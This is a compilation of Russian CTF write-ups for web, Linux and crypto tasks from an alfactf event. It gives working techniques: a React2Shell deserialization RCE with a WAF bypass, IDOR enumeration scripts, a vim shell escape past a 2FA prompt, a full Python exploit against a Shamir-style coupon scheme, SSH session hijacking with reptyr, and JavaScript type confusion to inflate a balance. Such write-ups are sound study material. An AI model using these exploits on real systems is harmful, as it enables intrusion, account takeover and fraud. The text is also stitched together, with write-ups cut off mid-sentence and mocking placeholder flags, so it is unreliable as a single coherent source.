Категория: Web

Теги: Hard, JS

Трек: CTF-трек

Автор: @rkc015

Цель: восстановить штатную работу терминала и запустить скрипт восстановления из бэкапа.

1. Исходные наблюдения

На главной странице https://funicular-gm2cxozn.alfactf.ru/ отображался интерфейс станции "СБУК-7 // ОП-3" со следующими признаками инцидента:

Клиентская панель показывала только три операции:

- plc-sync
- telemetry-snapshot
- maintenance-preview

Все они отправлялись в POST /api/operator/dispatch.

2. Первичная диагностика доступа

Локально сетевые запросы сначала не работали из-за прокси в окружении:

- HTTP_PROXY=http://127.0.0.1:9
- HTTPS_PROXY=http://127.0.0.1:9
- ALL_PROXY=http://127.0.0.1:9

После очистки этих переменных удалось нормально обращаться к целевому хосту.

3. Что показал клиентский код

Из страницы и JS-чанков удалось извлечь:

- server action id: 4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2
- dispatch endpoint: /api/operator/dispatch
- параметры интерфейса:
  packet = south-line.2026-03-27
  workOrder = WO-17-04
  terminal = ОП-3 / верхняя станция

При прямых POST-запросах к /api/operator/dispatch сервер отвечал 502:

"Сервисный контур станции неисправен. От шлюза не получен ответ за требуемое время."

То есть нормальный клиентский путь был заведомо сломан.

4. Проверка hidden server action

Так как в RSC-потоке был виден server action id, следующая гипотеза была такой:

- либо recoveryAction реально выполняет восстановление;
- либо его можно дернуть в обход клиентского API.

Прямой вызов server action через стандартный Next.js fetch-механизм потребовал заголовок Next-Action.
Этот путь сразу блокировался WAF:

HTTP 403
Request blocked by WAF: ^Next-Action$

Проверка разными регистрами заголовка не помогла:

- Next-Action
- next-action
- NEXT-ACTION
- смешанный регистр

Все варианты отбрасывались одинаково.

5. Смещение акцента на React2Shell + WAF bypass

Дальнейшее исследование велось уже с акцентом на React2Shell и обход фильтрации.

Ключевая идея:

- WAF режет только прямой action-fetch с заголовком Next-Action;
- но Next.js умеет обрабатывать multipart form submit в MPA-ветке;
- для MPA multipart используются поля $ACTION_ID_* и $ACTION_REF_*;
- в этом пути можно попасть в React Flight deserialization без запрещённого заголовка.

6. Что показали исходники/бандлы Next.js на сервере

Через изучение серверных чанков Next.js было подтверждено:

- recoveryAction с id 4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2 существует;
- он зарегистрирован как requestRecovery;
- его реализация возвращает только заглушку:

  {
    ok: false,
    packet: "south-line.2026-03-27",
    workOrder: "WO-17-04",
    error: "recovery-offline",
    message: "Контур восстановления требует авторизации через сервисный шлюз. Повторите после сверки регламентного пакета."
  }

Иными словами, легитимный recoveryAction сам по себе ничего не чинит.

7. Рабочий WAF bypass

Сработал обход через multipart MPA submission без заголовка Next-Action.

Критическая схема полей:

- $ACTION_REF_1
- $ACTION_1:0
- $ACTION_1:1

Успешная полезная нагрузка использовала:

- валидный action id;
- bound = "$1" или "$@1";
- then = "$1:__proto__:then";
- status = "resolved_model";
- value = "{\"then\":\"$B0\"}";
- _response._formData.get = "$1:constructor:constructor";
- _response._prefix = JavaScript-код для execSync(...)

Именно этот путь дал выполнение команды на сервере и вернул HTTP 303 с Location вида:

http://x/<base64-stdout>

Это подтвердило успешный React2Shell в обход WAF.

8. Подтверждение RCE

В качестве безопасной проверки были выполнены команды:

- pwd
- ls -la
- find / -maxdepth 3 -type f ...

Результаты:

- рабочая директория: /app
- приложение собрано в standalone Next.js
- найден скрипт восстановления:
  /app/scripts/restore-from-backups.sh

9. Анализ скрипта восстановления

Содержимое /app/scripts/restore-from-backups.sh:

- читает receipt из:
  /opt/funicular/archive/WO-17-04.receipt
- если receipt недоступен или пуст, возвращает ошибку;
- если receipt прочитан, печатает:
  workflow: operator-recovery
  ticket: WO-17-04
  packet: south-line.2026-03-27
  status: applied
  receipt: <значение>

То есть фактическое "восстановление" в рамках задания заключается в запуске этого скрипта и получении контрольной receipt-строки.

10. Запуск скрипта восстановления

Скрипт был выполнен напрямую через уже рабочий React2Shell bypass.

Команда:

/app/scripts/restore-from-backups.sh

Результат:

workflow: operator-recovery
ticket: WO-17-04
packet: south-line.2026-03-27
status: applied
receipt: alfa{*иди получай флаг сам, салага*}

11. Дополнительная проверка receipt

Файл /opt/funicular/archive/WO-17-04.receipt содержал:

alfa{иди получай флаг сам, салага 2}

Это совпало с выводом restore-скрипта.

12. Итог

Штатный путь через клиентские кнопки и /api/operator/dispatch был неработоспособен.
Hidden recoveryAction существовал, но был намеренно заглушён и возвращал только "recovery-offline".
Рабочее решение потребовало:

- выявить Next.js server action;
- понять, что WAF режет только заголовок Next-Action;
- перейти на multipart MPA-путь;
- использовать React2Shell через $ACTION_REF_* в обход WAF;
- выполнить реальный restore-скрипт напрямую.

Итоговый флаг:

alfa{иди получай флаг сам, салага 3}

13. Краткая техническая выжимка

- Платформа: Next.js App Router
- Защита: WAF с фильтром по заголовку Next-Action
- Обход: multipart MPA server action path
- Эксплуатация: React2Shell / Flight deserialization gadget
- Реально полезный файл: /app/scripts/restore-from-backups.sh
- Receipt-файл: /opt/funicular/archive/WO-17-04.receipt

14. Вывод по сценарию задания

С практической точки зрения задача решалась не через "починку" UI, а через исследование серверной логики:

Категория: Web

Теги: Easy

Трек: IT-трек

Автор: mayb3_s0m3t1m3

Суть: IDOR (Insecure Direct Object Reference) через утечку UUID из подписок. Отсутствие авторизации на уровне сервера: API не проверяет, принадлежит ли запрашиваемый UUID текущему пользователю.

Откроем DevTools → Sources → JS → app.js

Вapp.js можно увидеть следующее:

const notes = await api('GET', `/users/${currentUser.uuid}/notes`);

и выше:

currentUser = await api('GET', '/me');

То есть, используется uuid пользователя, а не id, а это значит, что API ожидает

 /users/<uuid>/notes

В условии сказано: "создатель записал у себя в заметках". Но как нам получить чужие заметки?

Обратимся к коду.Фронт сам подставляет currentUser.uuid, но ничто не помешает вручную вызвать API с другим UUID

Откроем DevTools → Console. В консоли выполним:

fetch('/api/users/1/notes', {
  headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
 }).then(r => r.json()).then(console.log)

Проверим свой UUID:

currentUser

Числовой /api/users закрыт, но в app.js есть важный момент: посты открываются по числовому id /users/${userId}/posts, а заметки — по uuid /users/${currentUser.uuid}/notes.

Пробуем получить uuid создателя через подписки. Для этого подпишемся на пользователей с маленькими id – среди них должен быть искомый.

(async () => {
  const H = {
  Authorization: 'Bearer ' + localStorage.getItem('token'),
  'Content-Type': 'application/json'
  };
   
for (let id = 1; id <= 50; id++) {
  const r = await fetch('/api/subscribe', {
  method: 'POST',
  headers: H,
  body: JSON.stringify({ user_id: id })
  });
  const txt = await r.text();
  if (r.status !== 404) console.log(id, r.status, txt);
  }
 })();

И выведем наши подписки:

fetch('/api/subscriptions', {
  headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
 }).then(r => r.json()).then(console.log)

Отлично, там 50 подписок и 50 user.uuid. Теперь надо перебрать заметки по всем user.uuid из подписок:

(async () => {
  const H = { Authorization: 'Bearer ' + localStorage.getItem('token') };
  const subs = await fetch('/api/subscriptions', { headers: H }).then(r => r.json());
  for (const s of subs) {
  const u = s.user;
  const uuid = u.uuid;
  if (!uuid) continue;
  const r = await fetch(`/api/users/${uuid}/notes`, { headers: H });
  const text = await r.text();
  if (r.status === 200 && text !== '[]') {
  console.log('FOUND USER:', u);
  console.log(text);
  }
  }
 })();

Из всех выведенных заметок нас интересует содержимое этой:

Нет сомнений, что мы нашли именно нужную заметку админа. API можно взять из неё:

fetch('/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6', {
  headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
 })
 .then(r => r.text())
 .then(console.log)

Получим:

{"user_id":2018,"is_slowed":true}

Если API возвращает именно такой формат, значит, структура ожидается такая же:

fetch('/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6', {

method: 'POST',

headers: {

Authorization: 'Bearer ' + localStorage.getItem('token'),

'Content-Type': 'application/json'

},

body: JSON.stringify({

user_id: 2018,

is_slowed: false

})

})

.then(r => r.text())

.then(console.log)

И мы получили флаг!

Автор: mayb3_s0m3t1m3

Категория: Linux / Bash / SSH
Суть: обход 2FA через read -e + $EDITOR=vim

При переходе по ссылке мы увидим страницу, на которой нет ничего, кроме этого:

Обратим внимание на следующие строки:

bashexport EDITOR=/usr/bin/vim

bashread -e -s -r -p 'One-time password: ' otp

Можно увидеть, что 2FA ломается через read -e + EDITOR=vim, потому что можно открыть редактор и выйти в shell до сравнения OTP. Это происходит по причине того, что read -e включает использование readline, а readline, в свою очередь, поддерживает возможность открыть текущий ввод в $EDITOR через нажатие нужной комбинации клавиш.

Эксплуатация

Подключимся:

bashssh newjacket-w9gzrloh.alfactf.ru -l newjacket

или:

bashssh -p2244 newjacket@alfactf.ru

Появится ввод One-time password:

Откроем vim. Нужно нажать:

Ctrl+X  →  Ctrl+E

Внутри vim вводим следующую последовательность команд:

r !ls -la /

r !ls -la /home

r !ls -la /home/newjacket

r !cat /home/newjacket/flag.txt

Флаг достался нам всего за четыре строчки в vim.

Автор: @m0nr0e21

Категория: Linux / Logic / Bash
Сложность: Easy
Суть: ошибка бизнес-логики при присоединении к тир-листу + некорректная проверка прав доступа к вложенным файлам.

Описание задачи

Дан SSH-доступ к консольному сервису на bash, который реализует тир-листы через whiptail.

Пользователь может:

• выбрать имя пользователя;
• просматривать публичные тир-листы;
• создавать свои тир-листы;
• присоединяться к чужим;
• добавлять/удалять тиры и элементы;
• просматривать элементы, если они не ограничены владельцем.

Флаг спрятан в элементе flag, который отображается как:

text[LOCKED] flag

При попытке открыть его сервис сообщает:

textДоступ ограничен владельцем тир-листа.

Анализ исходного кода

Главные данные хранятся в директории:

bashTIERLISTS_DIR="/data/tierlists"

Каждый тир-лист — это директория с .meta:

textowner=<user>
restricted=<file1,file2,...>
collaborators=<user1,user2,...>

Проверка владельца:

bashis_owner() {
    local owner
    owner=$(meta_get "$1" "owner") || return 1
    [[ "$owner" == "$CURRENT_USER" ]]
}

Проверка ограничения доступа:

bashis_restricted() {
    local restricted
    restricted=$(meta_get "$1" "restricted") || return 1
    [[ -z "$restricted" ]] && return 1
    local IFS=','
    for r in $restricted; do
        [[ "$r" == "$2" ]] && return 0
    done
    return 1
}

Чтение файла разрешено так:

bashcan_read_file() {
    if is_restricted "$1" "$2"; then
        is_owner "$1"
    else
        return 0
    fi
}

Если имя файла есть в restricted, читать его может только владелец тир-листа.

Уязвимость №1: небезопасный join

При присоединении к чужому тир-листу вызывается функция:

bashjoin_tierlist_by_name() {
    local tl_name="$1"
    local new_name="${tl_name}__with__${CURRENT_USER}"

    mv "$TIERLISTS_DIR/$tl_name" "$TIERLISTS_DIR/$new_name"

    local collabs
    collabs=$(meta_get "$TIERLISTS_DIR/$new_name" "collaborators") || collabs=""
    if [[ -z "$collabs" ]]; then
        meta_set "$TIERLISTS_DIR/$new_name" "collaborators" "$CURRENT_USER"
    else
        meta_set "$TIERLISTS_DIR/$new_name" "collaborators" "${collabs},${CURRENT_USER}"
    fi

    msg "Вы присоединились к тир-листу."
}

Проблемная строка:

bashmv "$TIERLISTS_DIR/$tl_name" "$TIERLISTS_DIR/$new_name"

Если директория назначения уже существует, mv не перезаписывает её, а перемещает исходную директорию внутрь неё.

Например, если существует:

text/data/tierlists/gorpcore_redflags__with__pwn2

и мы присоединяемся к:

text/data/tierlists/gorpcore_redflags

то команда:

bashmv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__pwn2

превратит структуру в:

text/data/tierlists/gorpcore_redflags__with__pwn2/
├── .meta
└── gorpcore_redflags/
    ├── .meta
    └── tier_d/
        └── flag.txt

Внешняя директория остаётся нашей, а чужой тир-лист оказывается вложенным внутрь.

Уязвимость №2: рекурсивный поиск тиров

При отображении тир-листа сервис ищет директории с тирами так:

bashfind "$tl_dir" -type d -name 'tier_*' -print0 2>/dev/null | sort -z

Используется рекурсивный поиск. После предыдущего бага сервис начинает находить не только наши тиры, но и тиры вложенного чужого тир-листа:

textgorpcore_redflags/tier_d

Элементы из этих вложенных директорий попадают в меню.

Уязвимость №3: проверка доступа идёт по неправильной .meta

Когда пользователь выбирает элемент, вызывается:

bashview_item "$tl_dir" "$item_path"

Внутри view_item проверка доступа выглядит так:

bashif ! can_read_file "$tl_dir" "$item_fname"; then
    msg "[LOCKED] $item_name\\n\\nДоступ ограничен владельцем тир-листа."
    return
fi

can_read_file получает именно внешний $tl_dir. То есть если мы открываем файл:

text/data/tierlists/gorpcore_redflags__with__pwn2/gorpcore_redflags/tier_d/flag.txt

проверка ограничений всё равно смотрит в:

text/data/tierlists/gorpcore_redflags__with__pwn2/.meta

А это наш тир-лист, где:

textowner=pwn2
restricted=
collaborators=

Поскольку restricted пустой, файл считается доступным — даже если во вложенном админском тир-листе он был restricted.

Эксплуатация

В публичных тир-листах был найден интересный список:

textgorpcore_redflags @admin

В нём присутствовал закрытый элемент:

text[LOCKED] flag

Краткая последовательность действий:

1. Подключиться по SSH.
2. Войти под новым пользователем, например pwn2.
3. Создать тир-лист с именем gorpcore_redflags__with__pwn2.
   Это имя важно — функция join_tierlist_by_name при присоединении строит имя новой директории именно так: "${tl_name}__with__${CURRENT_USER}".
4. Открыть публичные тир-листы.
5. Выбрать gorpcore_redflags @admin.
6. Нажать «Присоединиться».
   Вместо нормального переименования произойдёт перенос админского тир-листа внутрь директории-ловушки.
7. Перейти в «Мои тир-листы» и открыть gorpcore_redflags__with__pwn2.
   Если всё сделано правильно, заголовок покажет владельца внешнего тир-листа:textgorpcore_redflags__with__pwn2 [@pwn2]А внутри станут видны тиры и элементы из вложенного gorpcore_redflags.
8. Открыть элемент [LOCKED] flag.
   Сервис откроет его содержимое, потому что проверяет ограничения по нашей внешней .meta, а не по .meta исходного админского тир-листа.
9. Получить флаг.

Корневая причина

В задаче объединились три логические ошибки:

1. join_tierlist_by_name использует mv без проверки существования директории назначения.
2. view_tierlist рекурсивно ищет tier_* внутри всего дерева тир-листа.
3. view_item проверяет доступ к файлу по .meta внешней директории, а не по .meta реального тир-листа, которому принадлежит файл.

Вместе это позволяет поместить чужой тир-лист внутрь своего и обойти restricted-проверку.

Автор: @m0nr0e21

Теги: Hard, Crypto, Math, Web

Описание задания

В задании дан веб-сервис кофейни «У Шамира» и архив с исходным кодом:

• sixseven-lo1ydmdy.alfactf.ru
• sixseven_git_4547ca8.tar.gz

По легенде действует программа лояльности «6–7»: нужно купить 6 эспрессо, а затем в качестве 7-го напитка можно получить любой напиток. На практике у нового пользователя есть только 40 монет, а один эспрессо стоит 10 монет — легально можно купить только 4 эспрессо.

Задача: получить купон на 7-й напиток, не имея 6 долей.

Флаг: alfa{esPress0_MacChi4T0_pOr_fAVOr3}

Разбор исходников

В приложении реализована схема, похожая на Shamir Secret Sharing.

Каждый купленный эспрессо создаёт заказ с UUID. Для заказа генерируется QR-код, внутри которого лежит JSON вида:

json{
  "order_id": "9df03866-aa45-48f8-bee8-727eb85fcf9c",
  "secret_part": "22535180056152808296086384252092152298162688175416839322383634726849228300611"
}

Здесь:

• order_id = x
• secret_part = f(x)

UUID заказа используется как точка x, а secret_part — значение полинома в этой точке.

Секретный купон — это свободный коэффициент полинома:

textsecret = f(0)

Чтобы честно восстановить секрет по схеме Шамира, нужно 6 точек. Но у нас только 4 эспрессо — классическая интерполяция Лагранжа не подходит.

Важная находка в Git-истории

Архив содержит не просто исходники, а Git-репозиторий. В истории видно, что раньше в проекте был отдельный Rust API.

bashgit log --oneline

В старом коммите присутствовали API-методы:

• /api/get_module
• /api/set_module
• /api/calc_shares
• /api/combine_shares

В текущем docker-compose Rust API как будто удалён, но конфигурация nginx всё ещё проксирует /api/. На живом инстансе эти эндпоинты тоже доступны.

Особенно интересен метод /api/set_module — он позволяет менять модуль поля q, в котором считаются значения схемы Шамира.

Уязвимость

В нормальной схеме Шамира используется большое простое поле mod q. Но старый API позволяет пользователю менять q. Проверка простоты модуля слабая: используется Fermat-подобная проверка, а не полноценная криптографически корректная валидация.

Главная идея атаки:

1. Берём UUID заказа.
2. Рассматриваем UUID как большое число x.
3. Факторизуем x.
4. Находим достаточно большой простой делитель p.
5. Устанавливаем модуль: q = p.

Так как p делит x, получаем:

textx ≡ 0 mod p

А значит:

textf(x) ≡ f(0) mod p

То есть доля этого заказа становится сразу:

textsecret mod p

Таким образом один заказ даёт остаток секрета по модулю p.

Почему нужны несколько заказов

Сам секрет — это 256-битное число. Один простой делитель UUID обычно меньше 256 бит, поэтому он даёт только часть информации:

textsecret ≡ a1 mod p1
secret ≡ a2 mod p2
...

Когда произведение модулей становится больше размера секрета:

textp1 * p2 * ... * pk > 2^256

секрет можно однозначно восстановить с помощью китайской теоремы об остатках (CRT).

Эксплуатация

Алгоритм атаки:

1. Регистрируем нового пользователя.
2. Покупаем 4 эспрессо.
3. Из dashboard достаём UUID заказов.
4. Для каждого UUID считаем его числовое значение.
5. Факторизуем UUID.
6. Для каждого большого простого делителя p:
• вызываем /api/set_module;
• вызываем /api/calc_shares;
• получаем secret mod p.
7. Собираем остатки через CRT.
8. Отправляем восстановленный купон в /buy-exclusive.
9. Получаем QR 7-го напитка.
10. Декодируем QR и забираем флаг.

Пример восстановления:

textsecret ≡ 104235194837086147991081 mod 271022341962674876014939
secret ≡ 22469167400840334385822069390 mod 738369751665541259657901187879
...

Если произведение модулей недостаточно большое, нужно просто создать новый аккаунт и повторить: UUID генерируются случайно, поэтому иногда попадаются более удобные множители.

Важный нюанс с QR

QR обычного эспрессо содержит JSON с долей секрета:

json{
  "order_id": "...",
  "secret_part": "..."
}

Это ещё не флаг.

После успешной покупки 7-го напитка сервер создаёт отдельный exclusive-заказ. Его QR уже содержит сам флаг.

QR одноразовый: после первого обращения к /orders/<id>/qr.svg сервер помечает флаг как полученный. Поэтому нужно скачивать именно QR exclusive-заказа, а не случайный QR с dashboard.

После отправки купона в Flask-session появляется поле last_exclusive_order_id. По нему скачивается правильный QR:

text/orders/<last_exclusive_order_id>/qr.svg

Декодирование QR

SVG рендерится в PNG:

bashrsvg-convert -w 1200 -h 1200 flag.svg -o flag.png

Затем декодируется:

bashzbarimg --raw -Sqr.enable flag.png

Результат:

alfa{иди и сам добудь флаг, халявшик}

Скрипт эксплойта

python#!/usr/bin/env python3
import base64
import json
import random
import re
import string
import zlib
from math import prod
from uuid import UUID

import requests
from sympy import factorint
from sympy.ntheory.modular import crt


BASE = "https://sixseven-lo1ydmdy.alfactf.ru"

MIN_FACTOR_BITS = 64
TARGET_BITS = 256
MAX_ATTEMPTS = 100


def randstr(n=12):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def decode_flask_cookie_payload(cookie_value: str) -> dict:
    """
    Flask session cookie подписана, но не зашифрована.
    Поэтому payload можно прочитать без SECRET_KEY.
    """
    compressed = cookie_value.startswith(".")
    parts = cookie_value.split(".")

    if compressed:
        if len(parts) < 2:
            raise ValueError("Bad compressed Flask cookie format")
        payload_b64 = parts[1]
    else:
        payload_b64 = parts[0]

    payload_b64 += "=" * (-len(payload_b64) % 4)
    raw = base64.urlsafe_b64decode(payload_b64)

    if compressed:
        raw = zlib.decompress(raw)

    return json.loads(raw)


def get_session_payload(session: requests.Session) -> dict:
    cookie = session.cookies.get("sixseven_session") or session.cookies.get("session")

    if not cookie:
        raise RuntimeError("No Flask session cookie found")

    return decode_flask_cookie_payload(cookie)


def get_user_id(session: requests.Session) -> int:
    print("[debug] cookies:", session.cookies.get_dict())

    payload = get_session_payload(session)
    print("[debug] session payload:", payload)

    if "user_id" not in payload:
        raise RuntimeError("No user_id in Flask session payload")

    return int(payload["user_id"])


def register_and_login() -> tuple[requests.Session, int]:
    s = requests.Session()

    username = "u" + randstr(12)
    password = "P@ssw0rd_" + randstr(12)

    print("[+] username:", username)
    print("[+] password:", password)

    r = s.get(BASE + "/register", timeout=20, allow_redirects=True)
    print("[debug] GET /register:", r.status_code, r.url)

    r = s.post(
        BASE + "/register",
        data={"username": username, "password": password},
        allow_redirects=True,
        timeout=20,
    )

    print("[debug] POST /register:", r.status_code, r.url)

    r = s.post(
        BASE + "/login",
        data={"username": username, "password": password},
        allow_redirects=True,
        timeout=20,
    )

    print("[debug] POST /login:", r.status_code, r.url)

    if not s.cookies.get_dict():
        raise RuntimeError("Login failed: no cookies")

    user_id = get_user_id(s)
    print("[+] registered:", username)
    print("[+] user_id:", user_id)

    return s, user_id


def api_get_module(session: requests.Session, user_id: int) -> int:
    r = session.get(BASE + f"/api/get_module?user_id={user_id}", timeout=20)

    if r.status_code != 200:
        raise RuntimeError("api_get_module failed")

    data = r.json()

    if "q" in data:
        return int(data["q"])
    if "module" in data:
        return int(data["module"])

    raise RuntimeError(f"Unknown get_module response: {data}")


def api_set_module(session: requests.Session, user_id: int, q: int):
    url = BASE + f"/api/set_module?user_id={user_id}"

    r = session.post(url, json={"q": str(q)}, timeout=20)

    if r.status_code == 200:
        return

    r = session.post(url, data={"q": str(q)}, timeout=20)

    if r.status_code != 200:
        raise RuntimeError("api_set_module failed")


def api_calc_shares(session: requests.Session, user_id: int) -> dict[str, int]:
    r = session.get(BASE + f"/api/calc_shares?user_id={user_id}", timeout=20)

    if r.status_code != 200:
        raise RuntimeError("api_calc_shares failed")

    data = r.json()
    shares = {}

    if isinstance(data, dict) and "shares" in data:
        for item in data["shares"]:
            order_id = item.get("id") or item.get("order_id") or item.get("uuid")
            share = item.get("share") or item.get("value") or item.get("y")
            if order_id and share:
                shares[str(order_id)] = int(share)

    elif isinstance(data, dict):
        for k, v in data.items():
            try:
                UUID(str(k))
                shares[str(k)] = int(v)
            except Exception:
                pass

    elif isinstance(data, list):
        for item in data:
            order_id = item.get("id") or item.get("order_id") or item.get("uuid")
            share = item.get("share") or item.get("value") or item.get("y")
            if order_id and share:
                shares[str(order_id)] = int(share)

    if not shares:
        raise RuntimeError("No shares parsed")

    return shares


def buy_espresso(session: requests.Session):
    r = session.post(BASE + "/buy-espresso", allow_redirects=True, timeout=20)

    if r.status_code != 200:
        raise RuntimeError("Cannot buy espresso")


def extract_order_ids(session: requests.Session) -> list[str]:
    r = session.get(BASE + "/dashboard", allow_redirects=True, timeout=20)

    if r.status_code != 200:
        raise RuntimeError("Cannot open dashboard for order extraction")

    ids = sorted(
        set(
            re.findall(
                r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}",
                r.text,
            )
        )
    )

    print("[+] found order ids:", ids)

    if not ids:
        raise RuntimeError("No order UUIDs found on dashboard")

    return ids


def collect_congruences(session: requests.Session, user_id: int, order_ids: list[str]):
    congruences = []

    for order_id in order_ids:
        x = UUID(order_id).int
        factors = factorint(x)

        for p, power in factors.items():
            if p.bit_length() < MIN_FACTOR_BITS:
                continue

            print(f"[+] trying factor p={p}, bits={p.bit_length()}")

            api_set_module(session, user_id, p)
            shares = api_calc_shares(session, user_id)

            if order_id not in shares:
                continue

            secret_mod_p = shares[order_id] % p

            if all(existing_p != p for _, existing_p in congruences):
                congruences.append((secret_mod_p, p))

            modulus_product = prod(m for _, m in congruences)
            print(f"    CRT modulus bits = {modulus_product.bit_length()}")

            if modulus_product.bit_length() > TARGET_BITS:
                return congruences

    return congruences


def recover_secret(congruences):
    residues = [a for a, _ in congruences]
    moduli = [m for _, m in congruences]

    result = crt(moduli, residues)

    if result is None:
        raise RuntimeError("CRT failed")

    return int(result[0]), int(result[1])


def submit_coupon(session: requests.Session, coupon: int) -> str:
    r = session.post(
        BASE + "/buy-exclusive",
        data={"coupon": str(coupon)},
        allow_redirects=True,
        timeout=20,
    )

    payload = get_session_payload(session)

    if "last_exclusive_order_id" in payload:
        exclusive_order_id = payload["last_exclusive_order_id"]
        print("[+] coupon accepted, exclusive order id:", exclusive_order_id)
        return exclusive_order_id

    raise RuntimeError("Coupon was not accepted")


def save_exclusive_qr(session: requests.Session, exclusive_order_id: str):
    qr_url = BASE + f"/orders/{exclusive_order_id}/qr.svg"
    qr = session.get(qr_url, timeout=20)

    if qr.status_code != 200:
        raise RuntimeError("Could not download exclusive QR")

    with open("flag.svg", "wb") as f:
        f.write(qr.content)

    print("[+] saved flag.svg")
    print("[+] Decode:")
    print("    rsvg-convert -w 1200 -h 1200 flag.svg -o flag.png")
    print("    zbarimg --raw -Sqr.enable flag.png")


def solve_once(attempt: int) -> bool:
    print("=" * 80)
    print(f"[+] ATTEMPT {attempt}")
    print("=" * 80)

    s, user_id = register_and_login()

    for i in range(4):
        print(f"[+] buying espresso {i + 1}/4")
        buy_espresso(s)

    order_ids = extract_order_ids(s)
    congruences = collect_congruences(s, user_id, order_ids)

    if not congruences:
        print("[!] No congruences collected")
        return False

    modulus_product = prod(m for _, m in congruences)

    print("[+] collected congruences:")
    for a, m in congruences:
        print(f"    secret ≡ {a} mod {m}  ; bits={m.bit_length()}")

    print("[+] total CRT modulus bits:", modulus_product.bit_length())

    if modulus_product.bit_length() <= TARGET_BITS:
        print("[!] Недостаточно больших множителей, пробуем новый аккаунт.")
        return False

    coupon, modulus = recover_secret(congruences)

    print("[+] recovered coupon:", coupon)
    print("[+] CRT modulus bits:", modulus.bit_length())

    exclusive_order_id = submit_coupon(s, coupon)

    print("[!] Важно: QR одноразовый.")
    print("[!] Не открывай dashboard в браузере до сохранения QR.")
    save_exclusive_qr(s, exclusive_order_id)

    return True


def main():
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            ok = solve_once(attempt)
            if ok:
                print("[+] SUCCESS")
                return
        except KeyboardInterrupt:
            raise
        except Exception as e:
            print(f"[!] attempt {attempt} failed:", e)

    print(f"[!] Не удалось за {MAX_ATTEMPTS} попыток.")
    print("[!] Можно увеличить MAX_ATTEMPTS и запустить снова.")


if __name__ == "__main__":
    main()

Запуск:

bashpython3 solve.py
rsvg-convert -w 1200 -h 1200 flag.svg -o flag.png
zbarimg --raw -Sqr.enable flag.png

Теги: Medium, Infra, Linux

Автор: @m0nr0e21

Категория: Infra / Linux. Идея: перехватить живую SSH-сессию администратора без использования ssh-agent, через инструмент reptyr.

Разведка на jumphost

После подключения к стенду попадаем на jumphost под root. Смотрим активные процессы:

ps aux

# Интересные процессы:
admin  45  sh -c sleep 1 && rm -rf /tmp/ssh* & ssh -l admin tracker-prod bash
admin  47  ssh -l admin tracker-prod bash

В команде процесса 45 есть rm -rf /tmp/ssh* — первоначально возникла гипотеза, что админ использует ssh-agent forwarding. Однако проверка показала: каталогов /tmp/ssh-* нет, SSH_AUTH_SOCK отсутствует — agent forwarding не используется.

Перехват сессии через reptyr

reptyr — инструмент, который позволяет перепривязать уже запущенный процесс к нашему терминалу. Флаг -T перехватывает всю терминальную сессию, а не только отдельный процесс. Перехватываем SSH-сессию админа (процесс 47):

reptyr -T 47

# Мы оказываемся внутри сессии админа
$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)

$ hostname
tracker-prod

Теперь мы на целевой машине tracker-prod под пользователем admin. Получаем флаг:

$ ls
flag.txt

$ cat flag.txt

Вывод: живая SSH-сессия админа перехвачена через reptyr -T без использования ssh-agent. Ключ к успеху: root-права на jumphost и уже запущенный SSH-процесс админа, который можно перепривязать.

Автор: @frankegoesdown

Категория: Web

Теги: easy, web, financial, js

Описание задачи

В старом порту открыли первый ChocoCore — бутик премиального функционального шоколада. Сегодня стартовали продажи лимитированного дропа. Станьте первым, кто его попробует.

Нам дают Next.js приложение — интернет-магазин шоколада. Цель: купить лимитированный товар flag (Summit to Talk About) стоимостью 31 337₽.

Разведка

Исходный код предоставлен в архиве. Ключевые файлы:

src/
  app/api/
    session/route.ts     — управление сессией
    cart/route.ts        — корзина
    promocode/route.ts   — применение промокодов
    checkout/route.ts    — оформление заказа
    completed/route.ts   — выдача флага
  lib/
    chocolates.ts        — каталог (8 позиций + item id="flag" за 31337₽)
    promocodes.ts        — список купонов: { TREAT5000: 5000 }
    session.ts           — работа с SQLite
    

Механика

Баланс (шоколёк) хранится на сервере в SQLite, привязан к сессии через session_id cookie.

Промокод — это base64 от JSON вида {"amount": 5000, "coupon": "TREAT5000"}.

Единственный доступный промокод — TREAT5000 на 5 000₽.

Флаг выдаётся через /api/completed, если в последнем заказе есть item с id === "flag".

Проблема: нам нужно 31 337₽, а можно получить только 5 000₽. Надо найти баг.

Анализ уязвимости

Смотрим src/app/api/promocode/route.ts:

// Шаг 1: проверяем наличие поля amount
if (!Object.hasOwn(promo, 'amount')) {
  return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}

// Шаг 2: СРАЗУ прибавляем к балансу — ДО проверки типа!
session.balance += promo.amount;

try {
  // Шаг 3: проверка типа (уже после изменения баланса)
  if (typeof promo.amount !== 'number' || typeof promo.coupon !== 'string') {
    throw new Error('Invalid promocode');
  }
  if (COUPONS[promo.coupon] !== promo.amount) {
    throw new Error('Invalid promocode');
  }
  if (session.used_coupons.includes(promo.coupon)) {
    throw new Error('Promocode already used');
  }
} catch (error) {
  session.balance -= promo.amount; // "откат"
  return NextResponse.json({ error: ... }, { status: 400 });
} finally {
  updateSessionBalance(sessionId, session.balance); // ВСЕГДА сохраняет в БД
}

Логика задумана так: если валидация не прошла — откатить баланс в catch, а finally сохранит откатанное. Но есть нюанс: тип amount не проверяется до того, как он прибавляется к балансу.

Эксплуатация: JavaScript type confusion

В JavaScript оператор + ведёт себя по-разному в зависимости от типов операндов:

5000 + 1    // → 5001  (число + число = число)
5000 + "1"  // → "50001" (число + строка = конкатенация строк!)
5000 + [1]  // → "50001" ([1].toString() = "1", затем строковая конкатенация)

// Оператор - всегда вычитает, приводя оба операнда к числам:
"50001" - [1]  // → 50001 - 1 = 50000

Применим это к уязвимому коду, если отправить amount = [1] (массив):

// Старт: session.balance = 5000 (число)
// Шаг 2: session.balance += [1]  → "50001" (строка!)
